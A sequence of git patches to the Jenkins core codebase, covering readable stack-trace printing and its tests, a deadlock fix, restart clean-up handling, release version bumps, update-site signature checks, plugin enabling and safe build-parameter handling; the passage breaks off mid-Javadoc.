From 59ebaf43a6a5526d134353ace7d17eedcfbe77d0 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 6 Nov 2013 10:16:36 -0500 Subject: [PATCH 001/712] Follow suggestion from JDK-6507809 [1] to print stack traces in a readable order. Would still need to handle some corner cases; write unit tests; and replace existing calls to Throwable.printStackTrace. [1] https://bugs.openjdk.java.net/browse/JDK-6507809 --- core/src/main/java/hudson/Functions.java | 39 +++++++++++++++++++++--- 1 file changed, 35 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index eb4330bc76..53f53f2c52 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -82,7 +82,6 @@ import hudson.widgets.RenderOnDemandClosure; import java.io.File; import java.io.IOException; -import java.io.PrintWriter; import java.io.StringWriter; import java.io.UnsupportedEncodingException; import java.lang.management.LockInfo; @@ -1356,9 +1355,41 @@ public class Functions { } public static String printThrowable(Throwable t) { - StringWriter sw = new StringWriter(); - t.printStackTrace(new PrintWriter(sw)); - return sw.toString(); + StringBuilder s = new StringBuilder(); + doPrintStackTrace(s, t, null); + return s.toString(); + } + private static void doPrintStackTrace(StringBuilder s, Throwable t, Throwable higher) { + // TODO check if t overrides printStackTrace + // TODO handle suppressed exceptions + Throwable lower = t.getCause(); + if (lower != null) { + doPrintStackTrace(s, lower, t); + s.append("Caused: "); + } + String summary = t.toString(); + if (lower != null) { + String suffix = ": " + lower; + if (summary.endsWith(suffix)) { + summary = summary.substring(0, summary.length() - suffix.length()); + } + } + s.append(summary).append('\n'); + StackTraceElement[] trace = t.getStackTrace(); + int end = trace.length; + if (higher != null) { + StackTraceElement[] higherTrace = higher.getStackTrace(); + while (end > 0) { + int higherEnd = end + higherTrace.length - trace.length; + if (higherEnd <= 0 || !higherTrace[higherEnd - 1].equals(trace[end - 1])) { + break; + } + end--; + } + } + for (int i = 0; i < end; i++) { + s.append("\tat ").append(trace[i]).append('\n'); + } } /** -- GitLab From f73255968f1570ada189c28afd74466ccbfe377f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 29 May 2015 07:54:36 -0400 Subject: [PATCH 002/712] Use system line separator. --- core/src/main/java/hudson/Functions.java | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 970e3b0f62..5fbe79bb91 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -151,6 +151,7 @@ import com.google.common.base.Predicate; import com.google.common.base.Predicates; import hudson.util.RunList; import java.util.concurrent.atomic.AtomicLong; +import org.apache.commons.io.IOUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -1411,7 +1412,7 @@ public class Functions { summary = summary.substring(0, summary.length() - suffix.length()); } } - s.append(summary).append('\n'); + s.append(summary).append(IOUtils.LINE_SEPARATOR); StackTraceElement[] trace = t.getStackTrace(); int end = trace.length; if (higher != null) { @@ -1425,7 +1426,7 @@ public class Functions { } } for (int i = 0; i < end; i++) { - s.append("\tat ").append(trace[i]).append('\n'); + s.append("\tat ").append(trace[i]).append(IOUtils.LINE_SEPARATOR); } } -- GitLab From 47cb028ac308b5a2a12d1859408a331154d2c77e Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 29 May 2015 08:02:59 -0400 Subject: [PATCH 003/712] Added Javadoc. --- core/src/main/java/hudson/Functions.java | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 5fbe79bb91..a285476b7a 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -150,7 +150,10 @@ import org.kohsuke.stapler.jelly.InternationalizedStringExpression.RawHtmlArgume import com.google.common.base.Predicate; import com.google.common.base.Predicates; import hudson.util.RunList; +import java.io.PrintWriter; import java.util.concurrent.atomic.AtomicLong; +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; import org.apache.commons.io.IOUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -1392,12 +1395,19 @@ public class Functions { return value!=null ? value : defaultValue; } - public static String printThrowable(Throwable t) { + /** + * Prints a stack trace from an exception into a readable form. + * Unlike {@link Throwable#printStackTrace(PrintWriter)}, this implementation follows the suggestion of JDK-6507809 + * to produce a linear trace even when {@link Throwable#getCause} is used. + * @param t any throwable + * @return generally a multiline string ending in a (platform-specific) newline + */ + public static @Nonnull String printThrowable(@Nonnull Throwable t) { StringBuilder s = new StringBuilder(); doPrintStackTrace(s, t, null); return s.toString(); } - private static void doPrintStackTrace(StringBuilder s, Throwable t, Throwable higher) { + private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher) { // TODO check if t overrides printStackTrace // TODO handle suppressed exceptions Throwable lower = t.getCause(); -- GitLab From 6bca813768e763a75a51f8f4f031574f2e60b764 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 29 May 2015 08:42:30 -0400 Subject: [PATCH 004/712] Starting to write tests for printThrowable. --- core/src/test/java/hudson/FunctionsTest.java | 43 ++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index 45f845f181..26bcfcddfe 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -35,7 +35,10 @@ import java.util.List; import java.util.Locale; import java.util.logging.Level; import java.util.logging.LogRecord; +import java.util.regex.Matcher; +import java.util.regex.Pattern; import jenkins.model.Jenkins; +import org.apache.commons.io.IOUtils; import static org.junit.Assert.*; import org.junit.Ignore; import org.junit.Test; @@ -339,4 +342,44 @@ public class FunctionsTest { assertEquals("Bad input <xml/>\n", Functions.printLogRecordHtml(lr, null)[3]); } + @Issue("JDK-6507809") + @Test public void printThrowable() throws Exception { + Throwable x; + try { + method1(); + throw new AssertionError(); + } catch (IllegalStateException _x) { + x = _x; + } + String stack = Functions.printThrowable(x).replace(IOUtils.LINE_SEPARATOR, "\n"); + Matcher m = Pattern.compile( + "java\\.lang\\.NullPointerException: oops\n" + + "\tat hudson\\.FunctionsTest\\.method2\\(FunctionsTest\\.java:(\\d+)\\)\n" + + "\tat hudson\\.FunctionsTest\\.method1\\(FunctionsTest\\.java:(\\d+)\\)\n" + + "Caused: java\\.lang\\.IllegalStateException\n" + + "\tat hudson\\.FunctionsTest\\.method1\\(FunctionsTest\\.java:(\\d+)\\)\n" + + "\tat hudson\\.FunctionsTest\\.printThrowable\\(FunctionsTest\\.java:\\d+\\)\n" + + "(\tat .+\n)+").matcher(stack); + assertTrue(stack, m.matches()); + int throwNPE = Integer.parseInt(m.group(1)); + int callToMethod2 = Integer.parseInt(m.group(2)); + int throwISE = Integer.parseInt(m.group(3)); + assertEquals(callToMethod2 + 2, throwISE); + assertEquals(callToMethod2 + 6, throwNPE); + // TODO assert display of new WrapperException("more info", wrapped) + // TODO assert display of new WrapperException("more info: " + wrapped, wrapped) + // TODO assert that full stack is preserved if wrapped does not share a common stack (e.g., comes from an executor service thread) + } + // Do not change line spacing of these: + private static void method1() { + try { + method2(); + } catch (Exception x) { + throw new IllegalStateException(x); + } + } + private static void method2() { + throw new NullPointerException("oops"); + } + } -- GitLab From d69ae563eb16e236410fca464862a6e768c1ac8d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 29 Oct 2015 18:57:03 -0400 Subject: [PATCH 005/712] Call hpi:record-core-location. --- core/pom.xml | 1 + pom.xml | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index 556990ce9a..fe1af5e25f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -640,6 +640,7 @@ THE SOFTWARE. generate-taglib-interface + record-core-location diff --git a/pom.xml b/pom.xml index 01c8df0f93..5090c699a9 100644 --- a/pom.xml +++ b/pom.xml @@ -511,7 +511,7 @@ THE SOFTWARE. org.jenkins-ci.tools maven-hpi-plugin - 1.114 + 1.116-SNAPSHOT org.apache.maven.plugins -- GitLab From c7fd90a8796fe0ad80bfe37a9837af4515fbf5cb Mon Sep 17 00:00:00 2001 From: Ted Date: Sat, 28 Nov 2015 16:23:59 +0800 Subject: [PATCH 006/712] fix JENKINS-31768 dead lock while removing computer --- core/src/main/java/hudson/model/Computer.java | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 547e51c753..3815571fd2 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -828,7 +828,19 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces protected void onRemoved(){ } - private synchronized void setNumExecutors(int n) { + /** + * Calling path, *means protected by Queue.withLock + * + * Computer.doConfigSubmit -> Computer.replaceBy ->Jenkins.setNodes* ->Computer.setNode + * AbstractCIBase.updateComputerList->Computer.inflictMortalWound* + * AbstractCIBase.updateComputerList->AbstractCIBase.updateComputer* ->Computer.setNode + * AbstractCIBase.updateComputerList->AbstractCIBase.killComputer->Computer.kill + * Computer.constructor->Computer.setNode + * Computer.kill is called after numExecutors set to zero(Computer.inflictMortalWound) so not need the Queue.lock + * + * @param number of executors + */ + private void setNumExecutors(int n) { this.numExecutors = n; final int diff = executors.size()-n; -- GitLab From 5d4ec31aa550e923ed484a90fc172b1716a2d43d Mon Sep 17 00:00:00 2001 From: atcarmo Date: Sun, 7 Feb 2016 01:31:58 +0000 Subject: [PATCH 007/712] Jenkins.CleanUp() is now called on restart() implementation of WindowsServiceLifecycle. --- .../main/java/hudson/lifecycle/WindowsServiceLifecycle.java | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java b/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java index 11f364e953..e038dfa179 100644 --- a/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java +++ b/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java @@ -120,6 +120,11 @@ public class WindowsServiceLifecycle extends Lifecycle { @Override public void restart() throws IOException, InterruptedException { + Jenkins jenkins = Jenkins.getInstance(); + if (jenkins != null) { + jenkins.cleanUp(); + } + File me = getHudsonWar(); File home = me.getParentFile(); -- GitLab From 1c9471600259e5d44b3ddb4a5322e8ef3725eef5 Mon Sep 17 00:00:00 2001 From: atcarmo Date: Wed, 10 Feb 2016 12:53:39 +0000 Subject: [PATCH 008/712] CleanUp() call during restart() is now surrounded but try/catch, which allows the restart to continue if the cleanUp() method fails. --- core/src/main/java/hudson/WebAppMain.java | 9 +++++++-- .../hudson/lifecycle/SolarisSMFLifecycle.java | 15 ++++++++++++--- .../main/java/hudson/lifecycle/UnixLifecycle.java | 15 ++++++++++++--- .../hudson/lifecycle/WindowsServiceLifecycle.java | 8 ++++++-- 4 files changed, 37 insertions(+), 10 deletions(-) diff --git a/core/src/main/java/hudson/WebAppMain.java b/core/src/main/java/hudson/WebAppMain.java index d3375be646..3d7621e368 100644 --- a/core/src/main/java/hudson/WebAppMain.java +++ b/core/src/main/java/hudson/WebAppMain.java @@ -393,8 +393,13 @@ public class WebAppMain implements ServletContextListener { public void contextDestroyed(ServletContextEvent event) { terminated = true; Jenkins instance = Jenkins.getInstance(); - if(instance!=null) - instance.cleanUp(); + try { + if (instance != null) { + instance.cleanUp(); + } + } catch (Exception e) { + LOGGER.log(Level.SEVERE, "Failed to clean up. Restart will continue.", e); + } Thread t = initThread; if (t != null && t.isAlive()) { LOGGER.log(Level.INFO, "Shutting down a Jenkins instance that was still starting up", new Throwable("reason")); diff --git a/core/src/main/java/hudson/lifecycle/SolarisSMFLifecycle.java b/core/src/main/java/hudson/lifecycle/SolarisSMFLifecycle.java index 9da1505229..6bd7068011 100644 --- a/core/src/main/java/hudson/lifecycle/SolarisSMFLifecycle.java +++ b/core/src/main/java/hudson/lifecycle/SolarisSMFLifecycle.java @@ -26,6 +26,8 @@ package hudson.lifecycle; import jenkins.model.Jenkins; import java.io.IOException; +import java.util.logging.Level; +import java.util.logging.Logger; /** * {@link Lifecycle} for Hudson installed as SMF service. @@ -38,9 +40,16 @@ public class SolarisSMFLifecycle extends Lifecycle { */ @Override public void restart() throws IOException, InterruptedException { - Jenkins h = Jenkins.getInstance(); - if (h != null) - h.cleanUp(); + Jenkins jenkins = Jenkins.getInstance(); + try { + if (jenkins != null) { + jenkins.cleanUp(); + } + } catch (Exception e) { + LOGGER.log(Level.SEVERE, "Failed to clean up. Restart will continue.", e); + } System.exit(0); } + + private static final Logger LOGGER = Logger.getLogger(SolarisSMFLifecycle.class.getName()); } diff --git a/core/src/main/java/hudson/lifecycle/UnixLifecycle.java b/core/src/main/java/hudson/lifecycle/UnixLifecycle.java index 0e489277e5..bfdc15a0c8 100644 --- a/core/src/main/java/hudson/lifecycle/UnixLifecycle.java +++ b/core/src/main/java/hudson/lifecycle/UnixLifecycle.java @@ -28,6 +28,8 @@ import com.sun.jna.Native; import com.sun.jna.StringArray; import java.io.IOException; +import java.util.logging.Level; +import java.util.logging.Logger; import static hudson.util.jna.GNUCLibrary.*; @@ -65,9 +67,14 @@ public class UnixLifecycle extends Lifecycle { @Override public void restart() throws IOException, InterruptedException { - Jenkins h = Jenkins.getInstance(); - if (h != null) - h.cleanUp(); + Jenkins jenkins = Jenkins.getInstance(); + try { + if (jenkins != null) { + jenkins.cleanUp(); + } + } catch (Exception e) { + LOGGER.log(Level.SEVERE, "Failed to clean up. Restart will continue.", e); + } // close all files upon exec, except stdin, stdout, and stderr int sz = LIBC.getdtablesize(); @@ -96,4 +103,6 @@ public class UnixLifecycle extends Lifecycle { if (args==null) throw new RestartNotSupportedException("Failed to obtain the command line arguments of the process",failedToObtainArgs); } + + private static final Logger LOGGER = Logger.getLogger(UnixLifecycle.class.getName()); } diff --git a/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java b/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java index e038dfa179..e63d41e132 100644 --- a/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java +++ b/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java @@ -121,8 +121,12 @@ public class WindowsServiceLifecycle extends Lifecycle { @Override public void restart() throws IOException, InterruptedException { Jenkins jenkins = Jenkins.getInstance(); - if (jenkins != null) { - jenkins.cleanUp(); + try { + if (jenkins != null) { + jenkins.cleanUp(); + } + } catch (Exception e) { + LOGGER.log(Level.SEVERE, "Failed to clean up. Restart will continue.", e); } File me = getHudsonWar(); -- GitLab From 6bb2be8225c0eb3305b1388867ba78e522c3a356 Mon Sep 17 00:00:00 2001 From: atcarmo Date: Wed, 10 Feb 2016 14:38:52 +0000 Subject: [PATCH 009/712] The cleanUp() call was in the wrong position. I've put it in the beginning of the method. --- core/src/main/java/hudson/WebAppMain.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/WebAppMain.java b/core/src/main/java/hudson/WebAppMain.java index 3d7621e368..a1ce69afc9 100644 --- a/core/src/main/java/hudson/WebAppMain.java +++ b/core/src/main/java/hudson/WebAppMain.java @@ -391,7 +391,6 @@ public class WebAppMain implements ServletContextListener { } public void contextDestroyed(ServletContextEvent event) { - terminated = true; Jenkins instance = Jenkins.getInstance(); try { if (instance != null) { @@ -400,6 +399,8 @@ public class WebAppMain implements ServletContextListener { } catch (Exception e) { LOGGER.log(Level.SEVERE, "Failed to clean up. Restart will continue.", e); } + + terminated = true; Thread t = initThread; if (t != null && t.isAlive()) { LOGGER.log(Level.INFO, "Shutting down a Jenkins instance that was still starting up", new Throwable("reason")); -- GitLab From b6bbc1414e31840e0c09dbff080019c3c8e92a35 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 11 May 2016 10:14:10 -0700 Subject: [PATCH 010/712] [maven-release-plugin] prepare release jenkins-1.651.2 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index a7f462da19..f12d56cfb9 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 1.651.2-SNAPSHOT + 1.651.2 cli diff --git a/core/pom.xml b/core/pom.xml index 81e6c1a321..2e5a2b18f2 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2-SNAPSHOT + 1.651.2 jenkins-core diff --git a/pom.xml b/pom.xml index 90cd9dda1e..d52cdc7b94 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2-SNAPSHOT + 1.651.2 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-1.651.2 diff --git a/test/pom.xml b/test/pom.xml index fb89b44e9d..ce21cadead 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2-SNAPSHOT + 1.651.2 test diff --git a/war/pom.xml b/war/pom.xml index bd67ebb071..f23dad62f0 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2-SNAPSHOT + 1.651.2 jenkins-war -- GitLab From 39dae396771e039468bbe4d5c6f5eb8033f10c3b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 11 May 2016 10:14:10 -0700 Subject: [PATCH 011/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f12d56cfb9..a16661f4a4 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 2e5a2b18f2..8b6c4f8cfe 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index d52cdc7b94..7cca3b2eb5 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-1.651.2 + HEAD diff --git a/test/pom.xml b/test/pom.xml index ce21cadead..d62c6e4280 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index f23dad62f0..fde804f11e 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT jenkins-war -- GitLab From 67eaeb64ab2eda79074f20615c518e800320487d Mon Sep 17 00:00:00 2001 From: Felix Belzunce Arcos Date: Tue, 15 Mar 2016 14:58:52 +0100 Subject: [PATCH 012/712] Logging the job which cannot create a new build when IllegalAccessException is thrown --- core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java b/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java index b206035c38..20af3534ea 100644 --- a/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java +++ b/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java @@ -176,13 +176,11 @@ public abstract class LazyBuildMixIn & Queue.Task & builds.put(lastBuild); lastBuild.getPreviousBuild(); // JENKINS-20662: create connection to previous build return lastBuild; - } catch (InstantiationException e) { - throw new Error(e); - } catch (IllegalAccessException e) { - throw new Error(e); } catch (InvocationTargetException e) { + LOGGER.log(Level.WARNING, String.format("A new build could not be created in job %s", asJob().getFullName()), e); throw handleInvocationTargetException(e); - } catch (NoSuchMethodException e) { + } catch (ReflectiveOperationException | IllegalStateException e) { + LOGGER.log(Level.WARNING, String.format("A new build could not be created in job %s", asJob().getFullName()), e); throw new Error(e); } } -- GitLab From 12e79963cca5122351943ee107f65c3ad91a2e25 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 14 May 2016 10:59:22 +0200 Subject: [PATCH 013/712] [JENKINS-19445, JENKINS-34213, JENKINS-34808, JENKINS-34121] Bump remoting to 2.59. (#2344) * [JENKINS-19445, JENKINS-34213, JENKINS-34808] Bump remoting to 2.58. Changes: * [JENKINS-34213](https://issues.jenkins-ci.org/browse/JENKINS-34213) - Ensure that the unexporter cleans up whatever it can each sweep (https://github.com/jenkinsci/remoting/pull/81) * [JENKINS-19445](https://issues.jenkins-ci.org/browse/JENKINS-19445) Force class load on UserRequest in order to prevent deadlock on windows nodes when using JNA and Subversion (https://github.com/jenkinsci/remoting/pull/81) * [JENKINS-34808](https://issues.jenkins-ci.org/browse/JENKINS-34808) - Allow user to adjust socket timeout (https://github.com/jenkinsci/remoting/pull/68) * [JENKINS-34121] - Upgrade remoting to 2.59 (cherry picked from commit 409438f36dc80f20964fb16f8d88041e11ba4ed4) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index d52cdc7b94..e6404ea82b 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.57 + 2.59 -- GitLab From d53cab3ef68b62a4a6dbb247012577c338dfc133 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Wed, 25 May 2016 09:33:30 +0200 Subject: [PATCH 014/712] [JENKINS-33467] Adjust reported Jenkins version number for LTS --- core/src/main/java/hudson/model/CauseAction.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/CauseAction.java b/core/src/main/java/hudson/model/CauseAction.java index b065715db8..959dd595a5 100644 --- a/core/src/main/java/hudson/model/CauseAction.java +++ b/core/src/main/java/hudson/model/CauseAction.java @@ -187,7 +187,7 @@ public class CauseAction implements FoldableAction, RunAction2 { ca.causeBag = new LinkedHashMap<>(); } ca.addCauses(ca.causes); - OldDataMonitor.report(context, "1.653"); + OldDataMonitor.report(context, " 1.651.2"); ca.causes = null; } } -- GitLab From 02725adfa16d58a6743c767bc00c370bb89f38b5 Mon Sep 17 00:00:00 2001 From: Carlos Rendon Date: Thu, 12 May 2016 07:38:27 -0700 Subject: [PATCH 015/712] Fix RSS id for builds in folders (#1965) [JENKINS-34767] - Prevent RSS ID collisions for items with same name in different folders (cherry picked from commit d8076e9654a4be6cd0792ea954363b209c44313b) --- core/src/main/java/hudson/model/Run.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index c4f64ccade..0f9b42c6f5 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -2394,7 +2394,7 @@ public abstract class Run ,RunT extends Run Date: Sat, 14 May 2016 14:05:35 +0200 Subject: [PATCH 016/712] [JENKINS-34745] - Prevent CheckUpdates PeriodicWork death if update site cert is missing (#2333) * [JENKINS-34745] - Prevent CheckUpdates PeriodicWork death in the case of the missing update site signature * [JENKINS-34745] - Fix typo in the validator * [JENKINS-34745] - Fix the formatting of the validation message (cc @lanwen) (cherry picked from commit 1e6afbae3b82936602f28c402379e04d0b00a47e) --- core/src/main/java/hudson/PluginManager.java | 26 +++++++++++-------- .../jenkins/util/JSONSignatureValidator.java | 6 ++++- 2 files changed, 20 insertions(+), 12 deletions(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index ea2acff5ef..d565ffe287 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -978,20 +978,24 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas @Restricted(NoExternalUse.class) @RequirePOST public HttpResponse doCheckUpdatesServer() throws IOException { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); - for (UpdateSite site : Jenkins.getInstance().getUpdateCenter().getSites()) { - FormValidation v = site.updateDirectlyNow(DownloadService.signatureCheck); - if (v.kind != FormValidation.Kind.OK) { - // TODO crude but enough for now - return v; + try { + for (UpdateSite site : Jenkins.getInstance().getUpdateCenter().getSites()) { + FormValidation v = site.updateDirectlyNow(DownloadService.signatureCheck); + if (v.kind != FormValidation.Kind.OK) { + // TODO crude but enough for now + return v; + } } - } - for (DownloadService.Downloadable d : DownloadService.Downloadable.all()) { - FormValidation v = d.updateNow(); - if (v.kind != FormValidation.Kind.OK) { - return v; + for (DownloadService.Downloadable d : DownloadService.Downloadable.all()) { + FormValidation v = d.updateNow(); + if (v.kind != FormValidation.Kind.OK) { + return v; + } } + return HttpResponses.forwardToPreviousPage(); + } catch(RuntimeException ex) { + throw new IOException("Unhandled exception during updates server check", ex); } - return HttpResponses.forwardToPreviousPage(); } protected String identifyPluginShortName(File t) { diff --git a/core/src/main/java/jenkins/util/JSONSignatureValidator.java b/core/src/main/java/jenkins/util/JSONSignatureValidator.java index 76d422cd90..2ce8e886ab 100644 --- a/core/src/main/java/jenkins/util/JSONSignatureValidator.java +++ b/core/src/main/java/jenkins/util/JSONSignatureValidator.java @@ -82,7 +82,11 @@ public class JSONSignatureValidator { // this is for computing a signature Signature sig = Signature.getInstance("SHA1withRSA"); - sig.initVerify(certs.get(0)); + if (certs.isEmpty()) { + return FormValidation.error("No certificate found in %s. Cannot verify the signature", name); + } else { + sig.initVerify(certs.get(0)); + } SignatureOutputStream sos = new SignatureOutputStream(sig); // until JENKINS-11110 fix, UC used to serve invalid digest (and therefore unverifiable signature) -- GitLab From baf831faf6ebf0b65b165b909575d26c8592c1a9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Wed, 11 May 2016 12:11:02 +0200 Subject: [PATCH 017/712] [JENKINS-34710] - PluginWrapper should not throw IOException if somebody enables the enabled plugin (#2327) (cherry picked from commit c83a8fdf0d048905928ba531d45527c1173f868d) --- core/src/main/java/hudson/PluginWrapper.java | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index c49b74b635..8fcd7b9b04 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -451,6 +451,10 @@ public class PluginWrapper implements Comparable, ModelObject { * Enables this plugin next time Jenkins runs. */ public void enable() throws IOException { + if (!disableFile.exists()) { + LOGGER.log(Level.FINEST, "Plugin {0} has been already enabled. Skipping the enable() operation", getShortName()); + return; + } if(!disableFile.delete()) throw new IOException("Failed to delete "+disableFile); } -- GitLab From 68a88a1e4229749df85799a91bb739f6a7d6e5a1 Mon Sep 17 00:00:00 2001 From: Robert Sandell Date: Thu, 19 May 2016 17:12:34 +0200 Subject: [PATCH 018/712] Merge pull request #2353 from rsandell/safe-parameters [JENKINS-34858] - Listed Parameters should reflect what was used when the build ran (cherry picked from commit 74d0412d74a6429765a98e8d8c52324139de8034) --- .../java/hudson/model/ParametersAction.java | 57 ++++++++--- .../hudson/model/ParametersActionTest2.java | 96 +++++++++++++++++++ 2 files changed, 140 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/model/ParametersAction.java b/core/src/main/java/hudson/model/ParametersAction.java index c8ed6c7c3c..0f60268a11 100644 --- a/core/src/main/java/hudson/model/ParametersAction.java +++ b/core/src/main/java/hudson/model/ParametersAction.java @@ -46,6 +46,7 @@ import java.util.HashSet; import java.util.Iterator; import java.util.List; import java.util.Set; +import java.util.TreeSet; import java.util.logging.Level; import java.util.logging.Logger; @@ -73,7 +74,7 @@ public class ParametersAction implements RunAction2, Iterable, Q public static final String SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME = ParametersAction.class.getName() + ".safeParameters"; - private transient List safeParameters; + private Set safeParameters; private final List parameters; @@ -89,6 +90,29 @@ public class ParametersAction implements RunAction2, Iterable, Q public ParametersAction(List parameters) { this.parameters = parameters; + String paramNames = System.getProperty(SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME); + safeParameters = new TreeSet<>(); + if (paramNames != null) { + safeParameters.addAll(Arrays.asList(paramNames.split(","))); + } + } + + /** + * Constructs a new action with additional safe parameters. + * The additional safe parameters should be only those considered safe to override the environment + * and what is declared in the project config in addition to those specified by the user in + * {@link #SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME}. + * See SECURITY-170 + * + * @param parameters the parameters + * 